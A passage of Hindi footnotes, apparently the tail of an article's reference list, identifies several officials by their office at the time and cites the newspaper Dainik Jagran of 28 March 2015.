  2. तत्कालीन रक्षामंत्री
  3. तत्कालीन वाणिज्य मंत्री
  4. तत्कालीन अमेरिकी राष्ट्रपति
  5. तत्कालीन विदेश मंत्री
  6. दैनिक जागरण, 28 मार्च 2015

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